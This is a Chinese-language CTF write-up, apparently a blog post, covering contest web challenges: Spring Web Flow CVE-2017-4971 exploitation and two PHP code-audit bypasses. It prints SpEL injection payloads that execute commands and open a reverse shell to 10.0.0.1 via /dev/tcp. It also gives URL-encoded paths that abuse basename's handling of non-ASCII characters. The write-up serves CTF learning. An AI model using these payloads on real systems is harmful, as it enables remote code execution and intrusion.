前言
web题总共5道,两道sql注入,两道代码审计,一道考CVE利用。这次比赛环境结束就关闭了,导致有些题目无法复现出来。
比赛复现
web-easy_sql 1
未找到复现环境
web-easy_sql 2
未找到复现环境
题目相关的解题wp
https://anthem-whisper.github.io/p/roarctf-2020/
web-Spring
考点
CVE-2017-4971 利用
复现过程
别的师傅已经复现过,再次一步步写没有多大意义,这里就贴几个关键的payload和关键点截图。
验证漏洞
1 | &_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty |
![image-20211009113612191](F:\D-学习笔记\CTF WP\image-20211009113612191.png)
执行命令
1 | &_T(java.lang.Runtime).getRuntime().exec("touch /tmp/success") |
1 | &_(new+java.lang.ProcessBuilder("touch /tmp/success2")).start()=test |
好像没有效果。
反弹shell
1 | _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub |
比赛就是用的上面的payload,能够执行,这里环境限制,不能截图。
注意点:比赛过程中,我抓包放到Repeater 中改数据再发送,没有执行成功,经过大师傅指点,直接抓包,修改数据,Forward,成功。好像是因为cstoken的原因。
web-middle-magic
比赛源码
1 |
|
这道题考的都是基本知识点的组合,直接贴payload
1 | ?aaa=%0apass_the_level_1%23 |
web-easycho
本地复现:test6.php
1 |
|
这道题,以前做过一次,这道题在原题的基础上多了个匹配show_source
的正则。这个正则只需要url编码即可绕过。
payload
1 | test6.php/utils.php/%ff?%73%68%6f%77%5f%73%6f%75%72%63%65 |
关键点详细解释
$_SERVER[‘PHP_SELF’] 作用是取当前执行脚本的文件名
像这样
来源http://www.iwonder.run/blog/post/during/3691566f7f15
1 | http://www.5idev.com/php/ :/php/index.php |
$_SERVER[‘REQUEST_URI’] 作用URI 用来指定要访问的页面
1 | http://localhost:9999/test6.php/utils.php?source => /test6.php/utils.php?source |
basename 返回路径中的文件名部分
官方例子
1 |
|
1 | 1) sudoers |
会输出路径末尾的文件名。
1 | $path='/test/äaä.txt'; |
这个函数有个小bug,就是遇到非ascii码字符会被丢弃。这就是解题的关键点。所以,我们通过在index.php/utils.php/
后面添加一个非ascii码的字符串,这样做可以绕过正则,当执行到basename
函数的时候,这个非ascii字符就会被丢弃,就会成功执行utils.php/
。
所以构造payload
1 | test6.php/utils.php/%8e?%73%68%6f%77%5f%73%6f%75%72%63%65 |